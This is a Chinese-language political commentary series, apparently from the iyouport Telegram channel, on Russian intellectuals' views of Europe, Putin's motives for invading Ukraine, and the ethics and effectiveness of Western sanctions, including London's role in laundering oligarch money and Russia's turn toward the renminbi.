早在19世纪50年代，人们就注意到了这一动态，并进行了评论。俄罗斯文学评论家尼古拉·切尔尼雪夫斯基（Nikolai Chernyshevskii）问道：“我们从哪里得到……这种想法，或者，最好不是这种想法，而是这种戏剧性的说法，即 西方是一个衰弱的老人，他已经从生活中得到了他能得到的一切，他正在耗尽生命，等等？” 他立即回答了自己的问题：“从那些虚浮和愚蠢的西方书籍和文章中，就是那个地方”。

值得注意的是，欧洲的 “西方” 和 “东方” 之间这种历史悠久的知识交流仍然存在。当代俄罗斯的 “保守派” 经常对欧洲的 “少数民族的暴

政”、“西方的意识形态” 或最近的欧盟的 “新道德帝国” 进行说教。然而，他们的论述往往只是对西方旧保守主义者和新民主党知识分子的作品的苍白模仿，如保罗·戈特弗里德、阿兰·德伯努瓦阿兰·德伯努瓦、和纪尧姆·法耶。

克里姆林宫里的阴暗人物

「图」

然而，推动19世纪俄罗斯知识分子精英们写作的情感冲动，与21世纪他们的后辈们的言论背后，存在着鲜明的对比。前者大多数人真正热爱欧洲，并在观察欧洲所谓的 “堕落” 时遭受痛苦。而后者似乎主要是出于对 “西方” 的反感和敌意 —— 源于傲慢和自卑情结的不健康组合的情绪。

阿列克谢·霍米亚科夫，斯拉夫主义的知识分子领袖，以及后来的费奥多尔·陀思妥耶夫斯基，都对他们在俄罗斯西部边境看到的情况深感不安。在十八世纪末和十九世纪的革命动荡之后，欧洲已经出了问题，他们带着悲痛的叹息观察到，而俄罗斯注定要靠欧洲的精神力量来治愈自己的创伤。

陀思妥耶夫斯基在他1876年的《作家日记》中指出：“我们俄罗斯人有两个家园：我们自己的俄罗斯和欧洲，即使我们自称是斯拉夫主义者。欧洲—— 它是一个可怕而神圣的东西 .....”；“哦，先生们，你们知道欧洲对我们来说是多么地珍贵吗 .....欧洲，这个 ‘神圣的奇迹之地‘！我们是如何以超越兄弟般的爱和崇敬来呵护和崇敬那些居住在这里的伟大部落，以及他们所完成的所有宏伟而美丽的事情？你知道吗，我们为这个亲爱的本土国家的命运流了多少眼泪、承受了多少心灵的煎熬、我们对她的地平线上不断聚集的风云感到多么恐惧吗？”

在克里姆林宫友好的知识分子的著作中，完全没有这种情感依恋。对于莫斯科卡内基中心主任迪米特里·特列宁 (Dmitri Trenin)来说，欧洲已经不再是一个 “神圣的”、“本土的”、甚至不再是什么友好的土地了。对当代俄罗斯来说，它现在 “只是另一个邻国，是从爱尔兰延伸到日本的大欧亚大陆的一部分”。与欧洲紧密合作和政治联盟的战略目标 —— 这一想法曾经在20世纪90年代激起了俄罗斯自由派知识分子和决策者的兴趣—— 现在被认为是不切实际的，甚至是有害的。俄罗斯的进步不再与它的欧洲联系有任何关系。

莫斯科著名的政治评论家 Timofei Bordachev 认为，“如果不否定[我们]自身遗产的重要部分，包括也许其核心：俄罗斯国家的欧洲特

性，就不可能向前迈进。我们已经从欧洲得到了我们需要的一切”，卡拉加诺夫和其他志同道合的政治分析家们以一种商业的方式指出，“其他的东西，我们要么已经有了，要么根本无法得到，因为我们无法掌握它：从历史上看，俄罗斯是一个专制国家 ..... 现在是时候停止为我们在历史上致力于专制政府体系而不是自由民主的事实感到羞愧了。”

这就是问题的关键所在。困扰克里姆林宫里那些阴沉的人的东西并不是所谓的**“Gayropa”——** 一个为国内消费而制造的恶棍；而是欧盟的基本政治理想和价值观：人类尊严和自由、法治、民主、和宽容。克里姆林宫统治者在主持日益压抑的专制政权时，正是无法掌握欧洲遗产的这些方面。

但问题是，这些“欧洲价值观”是普遍的。在俄罗斯广袤的土地上走上街头，挑战国家执政精英的年轻一代都明白这一点。克里姆林宫的统治者似乎也明白这一点。然而，他们随时准备诉诸于混淆视听，现在他们把所有的欧洲遗产都视为“有毒”。从他们的角度来看，俄罗斯前进的最好方式确实就是将其所谓的“马车”从欧洲的“疯狂列车”上解下来。当然，这只不过是反动的乌托邦。

（下面这个列表，让您头晕了吗？不幸的是，这仅仅是截止昨天的统计；我敢保证，它还在不断增长中。所有这一切都是在帮倒忙，它们只是在证明普京“是正确的”，而不是相反 —— 简单说，排俄是无用的。）https://t.me/iyouport/9959

> 在帝国幻想、历史怀旧和对西方的怨恨的驱使下，普京将乌克兰和他自己的国家都卷入了自相残杀的战争噩梦。

普京病态的政治想象力

「图」

一个有病态想象力的人可以给他们周围的人带来严重的问题。一个拥有病态政治想象力的政治领导人甚至统治着一个军事强国、核武国，无疑，只会给邻国和整个世界带来深不可测的灾难。

这就是现在俄罗斯全面入侵乌克兰的画面。

克里姆林宫领导层已经宣布了一场罪恶的战争，以“保护俄罗斯的国家利益”。但究竟什么是俄罗斯的国家利益？鉴于在俄罗斯，国家利

益和集团利益之间的界限完全模糊，对这个问题的回答尤其具有挑战性。

这种不透明性是由当前俄罗斯精英阶层的特点造成的。克里姆林宫统治集团代表了政治和经济力量的特殊融合—— 用俄罗斯的新词来说，就是 “vlastesobstvennost”。这种政治和商业的共生关系—— 所谓的 “Russia Inc. ”——造成了这样一种局面，即 国家几乎没有脱离经营国家的个人利益的自主权。基辅。俄罗斯直接打击平民目标。

全世界再次见证了旨在加强克里姆林宫个人主义专制政权的国内政治与其非理性的侵略性国际行为之间的相互关系。在这两个层面上，普京政权的政治哲学都贯穿着一种帝国主义的理想，即：将一个庞大的中央集权国家的利益置于个人权利和自由之上，并在国际舞台上倡导俄罗斯的大国地位。

普京对俄罗斯历史的理解存在很大的缺陷。他似乎真的无法区分俄罗斯帝国、苏联和俄罗斯联邦。对他来说，他所主持的国家是有1000年之久的 “历史性俄罗斯”—— 一个永恒的政体，其历史始于第聂伯河畔的基辅（中国朋友，请联想……）。1991年，这个 “历史性俄罗斯” 在背信弃义的 “西方” 手中遭受了耻辱性的失败。自从那个致命的时刻起，集体的 “西方”（美国和欧盟）利用俄罗斯的弱点，非法占有莫斯科 “历史遗产” 的珍贵部分。

乌克兰在这种扭曲的叙事中扮演着核心角色，呈现出历史、地缘政治和身份问题的具体交汇。不能允许乌克兰加入北约，并不是因为它将对俄罗斯构成军事威胁；没有任何一个严肃的军事分析家会认为，个别北约成员，更不用说整个联盟了，会威胁到拥有核武的俄罗斯。真正困扰普京的是乌克兰通过与欧洲-大西洋机构越来越多的联系而逐渐按照欧洲路线进行改革的前景。

在普京病态的政治想象中，“西化” 将剥夺 “历史性的俄罗斯” 对一块巨大而宝贵的地产的控制权。它将大大缩小 “俄罗斯世界” 的范围，在这个世界上，俄罗斯人和乌克兰人是 “一个民族”，并阻止莫斯科纠正冷战结束后不光彩的错误。

他似乎觉得自己是在与时间赛跑：乌克兰与欧洲的联系越紧密，莫斯科就越不可能让基辅回到自己身边。在他的帝国幻想、历史怀旧和对西方的怨恨的驱使下，普京决定毫不拖延地采取行动。他把自己（和他的爪牙）的利益当作俄罗斯的国家利益，使乌克兰和他自己的国家都陷入了自相残杀的恶梦之中。

并没有什么苏联2.0

「图」

就如波兰安全分析家 Agnieszka Bryc 指出的那样，普京的意图并不是要恢复苏联，尽管他希望西方国家相信这一点。除了将武力威胁作为外交工具外，普京煽动的冷战类比只是为了获得吸睛度。在现实中，克里姆林宫越来越难以维持其在后苏联空间的影响力："莫斯科的问题是，许多后苏联国家在过去三十年里成功地学会了如何组织主权外交政策，获得非俄罗斯的合作伙伴，最重要的是，重新找到了自己的民族身份"。

Bryc 写道，在最近与摩尔多瓦亲西方的政府就俄罗斯天然气工业股份公司涨价问题发生的冲突中，克里姆林宫首先想要发出一个信息，那就是："离开俄罗斯的控制既不容易也不便宜"。不管哈萨克斯坦抗议的原因是什么，对俄罗斯来说，重要的是证明它仍然是前苏联地区安全和秩序的保证者。

"利用西方的弱点—— 缺乏内部凝聚力、反应迟钝和倾向于对话，为克里姆林宫提供了有效折腾的重要机会。普京知道，提高地缘政治的赌注，足以让害怕冲突升级的西方国家竭尽全力防止冲突。为了成功，普京必须简单地说服西方：今天的俄罗斯是苏联的2.0"。

乌克兰加入北约的理由

「图」

前乌克兰议员、后来成为独立人士的汉娜·霍普科为乌克兰加入北约提出了理由，并表示乌克兰甚至可以扭转俄罗斯的局面。"作为最高拉达2019年《关于保护俄罗斯联邦原住民权利的决议》的发起人之一，我相信乌克兰目前的立场将最终帮助俄罗斯转型，并遏制独裁政权的扩张"，她写道。

"毕竟，在欧洲几个世纪以来所面临的各种国际问题中，乌克兰首当其冲。从抵御入侵到21世纪遏制独裁政权，乌克兰在欧洲大陆的地位一直没有改变。然而，目前还不清楚欧洲是否真正了解这些经验"。

📌 我们的 telegram 频道一直在持续跟随乌克兰局势，您可以在这里查看：https://t.me/iyouport

本系列文章没有结束，两天后将继续更新。感谢关注！https://t.me/

iyouport/9913

https://t.me/iyouport/9304

https://t.me/iyouport/9878

📌 推荐一些资料：

「图」

- «Авторитаризм России не навязан сверху»
- “Russia under Western Eyes: From the Bronze Horseman to the Lenin Mausoleum” by Martin Malia
- “The Icon and the Axe: An Interpretive History of Russian Culture” by James H. Billington
- “Polnoe sobranie sochinenii” by Nikolai G. Chernyshevskii
- “ЛЕГКО ЛИ РОССИИ РАССТАТЬСЯ С ЕВРОПОЙ”, Тимофей Бордачёв

○

原文

制裁的"作用"是什么？：乌克兰战争 8️⃣ 从“伦敦格勒”到北京 - iyouport

乌克兰战争

战争的无意义性是决定战争有多可怕的关键。在经历了几年的抑郁症或其他精神疾病之后，它能给你带来什么新鲜的教训吗？并不会。恰恰相反，它的空虚和无意义加剧了痛苦：你白白地受苦，没有尽头，这种认识进一步压垮了你。就像战争一样。在战争中，世界上的穷人的生命被全盘收割，以满足财阀们无聊的乐趣，或者为了地图上的一条抽象的线，由于其明显的愚蠢和可避免性而变得更糟。

以下是这场战争刚开始时（2月24日）更新的帖子：

> 制裁有用吗？

📌 欢迎回来！这里是乌克兰系列第8集。如果您错过了前面的部分，可以在下面回顾：

- 《一个 “赚大钱的完美机遇” 1️⃣》
- 《多元化主流 2️⃣》
- 《当你处在双面夹击的火力之下 3️⃣》
- 《”反对所有边界，抵制所有帝国，对抗所有战争”—东西方冲突中的乌克兰 4️⃣》
- 《“人民的自由，帝国去死”—俄罗斯无政府主义者对局势的分析 5️⃣》
- 《俄罗斯的选择，和这一切灾难的根源：乌克兰系列 6️⃣》
- 《这一次，不成功便成仁：乌克兰战争 7️⃣》

👌 本集内容分为以下部分：

- 什么是 “道德哗众取宠”？—— 请考虑制裁的效用而不是姿态；
- 有针对性的制裁目标真的被针对了吗？—— 欢迎来到世界洗钱之都；

- 制裁真的有效吗？—— 请注意意图和结果之间的差距；
- “人民币的国际化” 可能吗？—— 中国害怕的是什么；
- 俄罗斯与 “西方” 之间的关系根源在哪？—— 这场战争能为这个世界打开一个什么样的突破口……

制裁：有用的、没用的、和毫无意义的哗众取宠

「图」

俄罗斯对乌克兰的入侵使经济制裁重新成为头条新闻。大多数焦点都集中在政治制裁上 —— 即 限制与另一个国家的商业往来，以迫使该国领导人改变其政策。

但制裁也可以是私人的，当企业或个人自愿选择停止与被制裁国家的业务往来时。例如福特、耐克、苹果、Pornhub 等等暂停与俄罗斯的交易，以抗议战争。

那么，这些制裁都是合理的吗？—— 请注意，合理性的判断要基于其有效性。

首先，政治制裁比私人制裁更难辩解。选择不从某人那里购买和被迫不从某人那里购买，在道德上有很大的区别。前者是对经济自由的行使，而后者则是对经济自由的侵犯。就如，选择不买大麻是一回事，反毒品战争则是另一回事。

不过，当政治制裁能有效地阻止严重的不法行为时，它也是合理的。例如，在南非的种族隔离制度下，情况可能就是这样。

制裁被认为是 “最人道的“，即使制裁干扰了公民与他人交流或交往的自由，但它们在道德上并不像许多其他 “替代方案” 那样令人反感，例如暴力军事干预。

如果政治制裁针对的是政府对自然资源的使用，而不是限制私营公司和个人消费者，那么政治制裁在道义上会更合理。许多压迫性政权通过控制自然资源的使用来维持其权力。

正如哲学家 Leif Wenar 所说，这些压迫性政府的领导人并不拥有开采和出售其国家自然资源以支持不公正事业的产权。针对压迫性政权开采和出售自然资源的制裁并不侵犯任何人的财产权，而且有可能抵消有害的 “资源诅咒”，即 当一个国家拥有的自然资源为腐败和独裁主义提供激励时所出现的情况。

只要俄罗斯的大量石油和天然气资源阻碍了良好的治理，而制裁这些资源并不侵犯任何一个俄罗斯公民的权利，那么在道德上就是合理的。https://t.me/iyouport/9872

虽然政治制裁在原则上是合理的，但是在实践中却很难证明其合理性。

首先，在确定是否以及如何有效地对不公正的政权实施制裁方面，政府官员通常并不可靠。根据最近对政治制裁的分析，制裁通常不太可能实现重大的政策变化、政权改变、甚或军事损害。

更重要的是，制裁并不是减轻不公正政权的不公正性的最低限制性选择。尽管经济制裁很有吸引力，因为它是一种非暴力的方式，可以让人们表达对不公正领导的不满，但是，通常还有更好的非暴力对策可以用来抵制外国侵略。例如，政府官员可以支持放宽对乌克兰难民和俄罗斯移民的限制性政策，包括科学专家和军事叛逃者。这些政策将有效削弱俄罗斯军队，同时也尊重公民跨国结社和交流的自由。

政治制裁的另一个风险是，它们会过于广泛，而不是狭隘地针对政治领导人或军队。在这里，政治制裁很可能会伤害大量根本没有做错任何事的无辜者。大多数公民对其政府的行为并没有有效的控制权，普通工人和消费者不应该因为他们国家的罪过而受到惩罚。

支持制裁的理由往往是对集体责任的归咎，就好像公民个人要为其领导人的错误行为负责一样。这种责任归属是不可靠的，因为即使在民主社会，公民也很少能对外交政策进行有意义的控制。因此，公民不应该为他们的政府在国外的所作所为承担道德上的责任。正如美国公民在美国军方被起诉的不公正战争中并不是罪魁祸首，普通俄罗斯人在普京最近对乌克兰的侵略中也不是罪魁祸首。

如果有的话，这一点对于像俄罗斯这样缺乏自由和公平选举的国家的公民来说甚至更有力量。正如众议员伊尔汗·奥马尔（Ilhan Omar）最近所说的，如果政治制裁是针对普京和俄罗斯军方或寡头的，可能是允许的，但“广泛的制裁 …… 将相当于对那些并没有选择这样做的俄罗斯民众的集体惩罚”。

相比之下，私人制裁的道德风险较小，因为它们并不禁止外国人与俄罗斯人进行贸易或交往。如果私营公司或公民选择绕开俄罗斯把自己的业务带到其他地方，作为抗议俄罗斯侵略的一种方式，他们只是在行使他们的经济权利。私营公司在道德上没有义务总是将股东的价值最大化。个人消费者也没有义务从任何想要卖给他们的人那里购买。

然而，私人制裁也可能适得其反。与政治制裁一样，私人制裁也有可能以过于宽泛的方式实施，从而伤害到大量无辜者。例如，考虑到Visa和万事达卡决定暂停在俄罗斯的业务。这些私人制裁使成千上万的记者、活动家和普通俄罗斯公民无法进行国际支付，而这是他们一直以来逃离普京政权的途径。

仅仅是象征性的私人制裁在道德上也是可疑的，比如最近有人提议取消关于俄罗斯作家费奥多尔·陀思妥耶夫斯基的讲座，或者一家酒吧决定停止销售俄罗斯酒。这些制裁并不会阻止专制领导人的恐怖行为，却很可能使国内和国际上的民族主义态度恶化（还记得“自由薯条”吗？）

哲学家 Brandon Warmke 和Justin Tosi 将这类无价值的政治谴责的公开表达称为“道德哗众取宠”。道德哗众取宠通常是一个无关紧要的虚荣项目，但当哗众取宠破坏了公共话语的质量，分散了人们对更多道德紧急问题的注意力，并使得围绕有效解决方案建立联盟变得更加困难时，它就会产生有害的外部效应。

如果纯粹的表达行为是以实际提升你所表达支持的道德价值为代价的，那么这些行为也可能是道德上的错误。例如，把有价值的硬币扔进井里，同时宣布你希望结束世界饥饿，而不是用这些钱为正在挨饿的人买食物。无视给饥饿者提供食物的机会来向别人展示你对饥饿的关心，这不正常。现在就拿酒吧老板倾倒所有的俄罗斯伏特加来表达他们对乌克兰人的支持来说，他们最好是出售这些伏特加，并将收益直接捐赠给乌克兰公民，例如，在基辅预订 Airbnb。与其退出国际市场，私营公司的领导人可以通过向普通乌克兰人提供免费或低价商品和服务来抗议俄罗斯的侵略。

类似的道德考虑也影响着个人抵制的伦理。对个人抵制的另一个反对意见是，它是一种消费主义的方法。这是一种观点，即 个人消费者可以在市场上做出选择，目的是根据他们自己对共同利益的私人判断来促进共同利益。可以不反对个人消费者使用他们的私人判断来决定哪些购买行为会或不会促进共同利益。相反，希望他们能使用良好的私人判断，不像那些最近决定扔掉和抵制斯米尔诺伏特加的消费者，尽管斯米尔诺是由一家英国公司生产并在美国蒸馏的。像这样的案例表明，“有道德的消费者” 往往更喜欢哗众取宠，而不是真诚地抗议俄罗斯。这并不是对道德消费主义本身的控诉，而是道德消费主义做得不好。

告知制裁伦理的道德考虑对消费主义、商业和国际贸易的伦理有更广泛的教训。其结果是，政府行为比私人行为更难辩解，因为政治互动

不是自愿的。广泛的干预通常比有针对性的干预更糟，因为它们会伤害无辜的人。而纯粹的象征性姿态则有可能使适得其反的民族主义言论长期存在，而对不公正的受害者没有实质性的帮助。

那么，有针对性的那部分真的被针对了吗？

脏钱避风港

「图」

在承诺打击弗拉基米尔·普京的俄罗斯寡头网络的同时，英国保守党政府最近开始推进漏洞百出的“透明度立法”，据称是为了减少房地产和公司注册方面的保密性。政府还提议广泛放松对那些被用来清洗非法资产的市场的监管。

英国首相鲍里斯·约翰逊在一份声明中宣布：“英国没有藏脏钱的地方”。“那些支持普京的人已经被告知：你的不义之财将无处可藏。”

但是，没有被提到的是，英国 —— 在过去12年里一直由约翰逊的保守党领导 —— 一直在允许所谓的脏钱悄无声息地涌入该国的金融系统，而约翰逊的政党一直在吸纳金融业大亨和与俄罗斯寡头有关的捐助者的大笔竞选现金。

被称为伦敦金融城的英国金融业几十年来一直是一个保密的堡垒 —— 也是俄罗斯资产的首要目的地。透明国际最近的一份报告显示，在英国与潜在洗钱有关的近90亿美元的财产总值中，有20%以上与克里姆林宫有关。

英国已经成为对寡头现金很有吸引力的目的地，部分原因是法律允许英国财产所有者在空壳公司背后隐藏身份，而且没有通用的所有权清单。据伦敦市长萨迪克·汗(Sadiq Khan)说，五年前就开始计划建立一个公共登记处，目标是在2021年之前完成，但约翰逊和他的前任特雷莎·梅使该计划停滞不前。

根据英国公共数据中心的数据，现在有25万个海外实体在英格兰和威尔士拥有财产，这比2010年保守党第一次上台时的8.8万个有所增加。 根据 OpenDemocracy 最近的分析，自2021年开始，有623家注册公司是由在俄罗斯生活和工作的俄罗斯国民设立的。

从事透明度和税收问题工作的乐施会的苏珊娜·鲁伊斯说，脏钱正在“破坏社会契约”。“它破坏了对官员和经济的信任。这是一个允许寡

头，不仅仅是俄罗斯寡头，隐藏他们的资产以逃避税收当局的审查的系统，它在社会中造成了很多混乱。最后，税收的负担落在了那些无法逃脱的普通公民身上。为什么我们需要一场战争来让我们明白，我们需要考虑追踪和冻结这些寡头的全球资产？”

总部设在英国的税收正义网络的发言人马克·布·曼苏尔说，世界各地，特别是英国的金融保密制度，使金融机构能够向独裁者和其他非法资金来源献媚。

布·曼苏尔说：“主要的担忧是，现在追踪被制裁者的资产的任何努力都将受到管理全球金融部门的法律漏洞的阻碍”：

> 几十年来，各国政府一直在通过睁一只眼闭一只眼的规定来讨好独裁者，这使得人们无法追踪这些权势所持有的资产。英国在很多透明度举措上一直在倒退。很多措施之前已经开始，然后又被搁置。

https://t.me/iyouport/10178

改革的承诺，但明显的漏洞

「图」

英国的透明度倡导者多年来一直在抱怨他们国家的金融保密制度——但直到现在，在俄罗斯入侵乌克兰引发了国际社会的强烈抗议之后，约翰逊和他的政党才表现出一点假装倾听。

例如，约翰逊制裁了亿万富翁切尔西足球俱乐部老板罗曼·阿布拉莫维奇(Рома́н Арка́дьевич Абрамо́вич)和其他六名俄罗斯富豪，包括奥列格·德里帕斯卡(Олег Владимирович Дерипаска)。这两位亿万富翁曾被格雷格·巴克勋爵**(Lord Greg Barker)**与保守党紧密联系，后者在**2015**年被前首相大卫·卡梅伦**(David Cameron)**任命为上议院议员。巴克曾为阿布拉莫维奇的 **Sibneft** 石油集团工作，上周之前一直是德里帕斯卡的**En**＋集团主席。

与此同时，约翰逊和他的政党赞同立法，他们说这将有助于监管机构制裁俄罗斯亿万富翁的资产，从而向普京政府施压，使其退让。

“我们针对的是寡头的私人飞机，我们将针对他们的财产，我们将让他们拥有的其他财产无处可藏”，约翰逊的新外交大臣利兹·特拉斯说。

然而，当上周公布立法草案时，透明度倡导者对拟议的立法进行了抨击，指出它充满了漏洞 —— 它包含一个18个月的实施时间表，以及对不遵守披露要求的每天仅500英镑（668美元）的罚款 —— 所有这些对亿万富翁来说毛毛雨都不如。

在上周通过的下议院法案中，甚至连这种微薄的罚款都被取消了，任何罚款都被推迟到监管程序中，尽管在倡导者的强烈抗议下，实施时间表被减少到6个月。

执政的保守党还拒绝了反对党工党提出的加强该法案的修正案，包括要求政府透露如何改革英国错误百出的企业注册处（Companies House）的修正案，以及一项授权研究执法机构是否有足够资金执行新法律的提案。约翰逊的政党还拒绝了工党提出的在28天内，而不是在6个月内，实施该法案的要求。

透明国际的史蒂夫·古德里奇（Steve Goodrich）说："起诉并不是一个真正的选择，因为例如，所有者住在俄罗斯，而俄罗斯不引渡其公民"。

他补充说，过渡期意味着潜在非法资金的持有人"希望迅速退出大门，但大门始终为他们敞开。"

在监管领域，严厉的言辞和虚伪的行动之间的类似差距似乎也很明显。在那里，约翰逊的金融服务部长约翰·格伦最近承诺，"我们将毫不犹豫地在需要时采取进一步行动，包括加强财政部执行金融制裁的权力"。

但他随后又表示，英国政府将改变现有的针对衍生品的透明度法律 —— 这些衍生品已经是出了名的不透明和监管不力 —— 以使这些规则对该国的金融部门来说不那么困难。

约翰逊和他的政党获得了大量献金

「图」

约翰逊在财富透明度问题上的慢条斯理反映了伦敦金融城对统治英国十几年的保守党的影响。

与美国不同，英国的政党可以接受任何规模的捐款，自**2019**年**12**月以来，约翰逊的保守党收到了来自城市富豪的超过**1400**万美元的捐款，包括领先的私募股权和对冲基金经理。

游说公司 Squire Patton Boggs 在2014年代表俄罗斯银行 Gazprombank、Sberbank 和VTB，在2015年向英国保守党议员捐赠了超过3万美元。

据天空新闻报道，卢博夫·切尔努欣（Lubov Chernukhin）—— 俄罗斯前副财政部长弗拉基米尔·切尔努欣的前妻—— 自2012年以来向保守党捐赠了超过260万美元，包括2021年的10多万美元。弗拉基米尔·切尔努欣是 Polyus 公司的前董事，这是一家与普京有关系的、俄罗斯经济寡头之一亿万富翁苏莱曼·克里莫夫密切相关的俄罗斯金矿公司。

保守党的其他主要捐助者都可能在维持该国所有权的保密面纱方面有既得利益。他们包括：

- 亚历山大·特梅科（一家提议在英国和法国之间建立电力连接的公司的董事）自2011年以来向保守党捐赠了超过92.1万美元，其公司本身捐赠了超过32万美元。英国广播公司在2021年10月对 Aquind 公司老板维克多·费多托夫之前所做的交易进行了调查，发现费多托夫 “在俄罗斯涉嫌40亿美元的欺诈中秘密受益”。（费多托夫的律师说，“没有任何证据” 表明他有不正当的行为）。
- 穆罕默德·艾摩西—— 英国公民，在20世纪90年代和21世纪初在美国支持的俄罗斯工业私有化世界中开始积累财富，他与一家据称由普京同伙控制的公司紧密合作—— 自2017年以来向保守党捐赠了近100万美元。
- 新世纪传媒是一家由与约翰逊的保守党关系密切的北爱尔兰政党的前议员创办的公关公司，它代表亲普京的俄罗斯和乌克兰人士，自2009年以来向保守党捐赠了232,000美元。

除了对冲基金和私募股权大亨对保守党的慷慨捐赠外，约翰逊本人也一直在接受这种支持。

经营一家位于百慕大的对冲基金的乔恩·伍德，向约翰逊在2019年成功领导保守党的努力捐赠了9.8万美元。自2019年以来，伍德还向保守党捐赠了超过130万美元。

上述只是一些案例，绝对不是全部。

英国喜剧演员汤姆·沃克(Tom Walker)通过其创作的虚构人物乔纳森·派(Jonathan Pie)痛骂 “无胆的英国”，以及许多西方民主国家，因为他们长期盲目地与普京做生意，使普京在乌克兰的暴行得以发生——

就英国而言，他们一直都是亿万富翁俄罗斯寡头的“世界洗钱之都”。

作为一名电视记者，他经常绕道而行，用粗口抨击政治上的虚伪，因此而闻名，乔纳森·派在《纽约时报》上发表了一篇愤怒的专栏文章，谴责英国粗略的漏洞——“欢迎来到伦敦格勒”—— 鼓励俄罗斯亿万富翁，其中许多与克里姆林宫有直接联系，在那里藏钱。他们购买了豪华的房地产—— 许多匿名的亿万富翁通过离岸公司购买了成千上万的房屋—— 还有足球俱乐部、伏特加酒公司、报业集团、游艇 ……他说，“把脏钱洗干净” 是“我们唯一剩下的产业”。“20年来，普京一直在利用我们西方人自己的贪婪来对付我们。”

乔纳森·派被描述为首先在RT（前身为今日俄罗斯）工作获得了成功，该公司由俄罗斯国家所有，为普京提供煽动性的宣传；他承认自己“也许有点天真”，并在2016年切断了与RT的联系。今天，他看到普京残忍地“惩罚选择民主的平民”，他和他的同伴都感到震惊。

“普京是一个实施大规模屠杀的精神病患者，但却是一个我们(英国人)可以与之做生意的大规模屠杀的精神病患者”，他痛苦地说道，“那么这使我们成为什么？—— 怂货”。“普京是可耻的，但我们也是可耻的”，他说，“如果我们欢迎通过暴政赚来的钱，那么民主和免于暴政的自由还有什么意义？”

当然，其他西方国家可以也应该问自己同样的问题—— 想想沙特、以色列、中国，等等等等。因此，西方的、资本主义的、所谓的民主变成了“一个骗局，一个薄薄的外衣，背后隐藏着我们可以塞进口袋的所有金钱 …… 一个我们用来骗自己的故事，用虚构的安全和道德自我安慰的故事，而事实上我们两者都不是”。

俄罗斯制裁和人民币

「图」

随着以美元为基础的全球金融体系的大门因制裁而关闭，俄罗斯的公司和银行正在转向中国的货币—— 人民币（RMB）。

这件事为什么重要？《金融冷战：从金融市场看中美关系》一书的作者 James Fok 说，对俄罗斯的制裁可能会“逐步有助于人民币的国际化”。

“但这并不意味着人民币会突然开始以任何有意义的方式与美元竞争。为了让它做到这一点，还有很多其他的部分必须到位。现在并没

有”，Fok 说。

正在发生什么？路透社说，俄罗斯公司正急于向中国银行咨询开户事宜：

- 俄罗斯物流公司 FESCO 运输集团上周告诉客户，它将接受人民币支付。
- 在Visa和万事达卡暂停在俄罗斯的业务后，一些俄罗斯银行正在考虑转向中国国有银行卡支付系统—— 银联。

中国当权者一直在推行旨在使人民币国际化的政策，例如在2016年成功倡导将人民币纳入国际货币基金组织的特别提款权，这是一种重要的国际储备。

是的，但是：在过去十年里，中国对人民币国际化的推动充其量是半心半意的，全球使用人民币支付的比例不到2%。

北京不愿意放弃对货币的控制，也不愿意承担拥有全球主导货币的潜在不良影响。

中国政府严格的资本控制使得资产很难转移到中国境外，这阻碍了国际人民币交易。

尽管俄罗斯有兴趣，但中国的银行对美国二级制裁的风险很警惕，这意味着美国政府有能力惩罚与受制裁实体有业务往来的非美国公司。

需要注意的是，制裁“肯定意味着俄罗斯人最终会持有更多的人民币”， Fok 说。

但是，为了让其他国家愿意用人民币进行更多的交易，中国政府就需要放松资本控制并改善法治—— 或者全球金融体系必须发生分裂，以使人民币在比较中显得更有吸引力。

“棋盘上的很多棋子还没有被移动”，Fok 说，“更有可能的是，影响将在几十年的时间里发挥出来”。

总之，制裁的长期影响比短期影响更大。

商品和货币资本流动制裁都有潜在的“变通”。金融专家和投资者知道这一点。这就是为什么，当俄罗斯入侵的第一天，美国和欧盟金融市场最初下跌了800点，当拜登在同一天宣布初步制裁时，金融市场迅速反弹。 如果所有“变通”都是不可能的，那么更有可能的是俄罗斯

将更多转向中国 ……

无法预测中国社会的抗议活动/运动是否能跟上这个节奏，但至少我们已经听闻到有中国朋友参与反战联署而被喝茶的消息。

总之，俄罗斯将在短期内经历其金融市场和货币的大幅波动。它将经历通货膨胀—— 就像全世界所有经济体一样，因为商品（石油、天然气、金属、甚至谷物和其他食品）的供应中断导致全球价格上涨。俄罗斯还可能经历一些初步的生产放缓，从而导致失业，因为商品市场和需求在全球范围内被打乱。 但是否会有重大经济危机，还有待观察。

制裁中的要点是SWIFT系统。如果俄罗斯被拒绝使用该系统，它将不得不创造一些更困难的变通办法—— 要么使用人民币和其他货币，要么甚至加入中国，在外贸交易中大幅扩大数字货币的使用。

制裁并不会结束普京的战争—— 但对平民来说是灾难性的

「图」

自弗拉基米尔·普京对乌克兰发动无端的侵略战争以来，欧盟和北大西洋公约组织（NATO）成员以一系列金融制裁作为回应。

这些事件的发展速度令人眼花缭乱：在短短五天内，反应已经从针对关键个人和企业的激进但有针对性的制裁演变为赤裸裸的金融战争，很可能将俄罗斯推向货币危机。周一，卢布相对于美元已经下跌了近30%。

“我们将对俄罗斯发动一场全面的经济和金融战争”，马克龙的财政部长布鲁诺·勒梅尔在法国电视上宣布，并补充说，“我们将导致俄罗斯经济的崩溃。”

这种情绪在整个欧洲得到了响应，跨越了媒体、世代和政治光谱。在佛兰德斯，软左派前进党的年轻领导人康纳·卢梭 (Conner Rousseau) 在 Instagram 上宣布，俄罗斯经济将被 “扼杀在摇篮里”。最新的制裁措施如果最终没有被解除，就有可能做到这一点。

这种情况与最初承诺的主要对俄罗斯工业和金融业的贪污腐败的寡头富豪进行惩罚的做法不一致，据说普京的权力就是依靠这些寡头得以稳固的。从理论上讲，这种有针对性的措施旨在打击对手的真正弱点，同时尽量减少附带损害。

最初的一连串制裁就是这样做的。英国将主要银行和寡头列入黑名单，并冻结了他们的一些资产，同时还阻止了俄罗斯公司在英国市场融资。欧盟紧随其后，将制裁范围扩大到支持承认顿巴斯分离主义共和国的俄罗斯国家杜马立法者。

上上周，随着俄罗斯的继续推进和压力的增加，金融制裁的范围被扩大，显示出西方对全球金融基础设施的全面控制。

首先是美国，然后是欧盟，在克服了德国和意大利的顽固态度后，采取行动，将俄罗斯的主要银行排除在环球银行金融电信协会（SWIFT）之外。SWIFT 是一个设在比利时的合作组织，为银行提供在全球范围内进行支付所需的信息传递系统。

对SWIFT系统的控制是美国的关键工具。它与美国对其他全球经济机构的控制同样重要，如国际货币基金组织、世界银行以及作为全球贸易和储备货币的美元。

